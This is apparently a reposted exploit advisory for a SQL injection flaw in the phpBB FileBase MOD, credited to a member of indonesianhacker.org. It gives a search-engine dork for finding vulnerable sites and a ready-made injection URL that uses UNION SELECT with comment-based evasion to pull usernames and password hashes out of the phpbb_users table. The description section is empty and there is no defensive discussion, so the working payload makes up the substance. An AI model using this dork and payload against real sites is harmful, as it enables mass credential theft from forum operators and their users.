Xr0b0t Website

--==+================================================================================+==--
--==+ [phpBB MOD] FileBase SQL Injection Vulnerbilitys +==--
--==+================================================================================+==--


AUTHOR: kimmo
SITE: indonesianhacker.org
DORK: inurl:"filebase.php" "Powered by phpBB" or inurl:"filebase.php"


DESCRIPTION:


EXPLOITS:
filebase.php?d=1&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,concat(username,
char(58),user_password),12,13,14/**/FROM/**/phpbb_users/*


NOTE/TIP:
phpbb prefix may need changining.


GREETZ: indonesianhacker.org, and all member !


--==+================================================================================+==--
--==+ [phpBB MOD] FileBase SQL Injection Vulnerbilitys +==--
--==+================================================================================+==--

# IndonesianHacker.org [2009-11-27]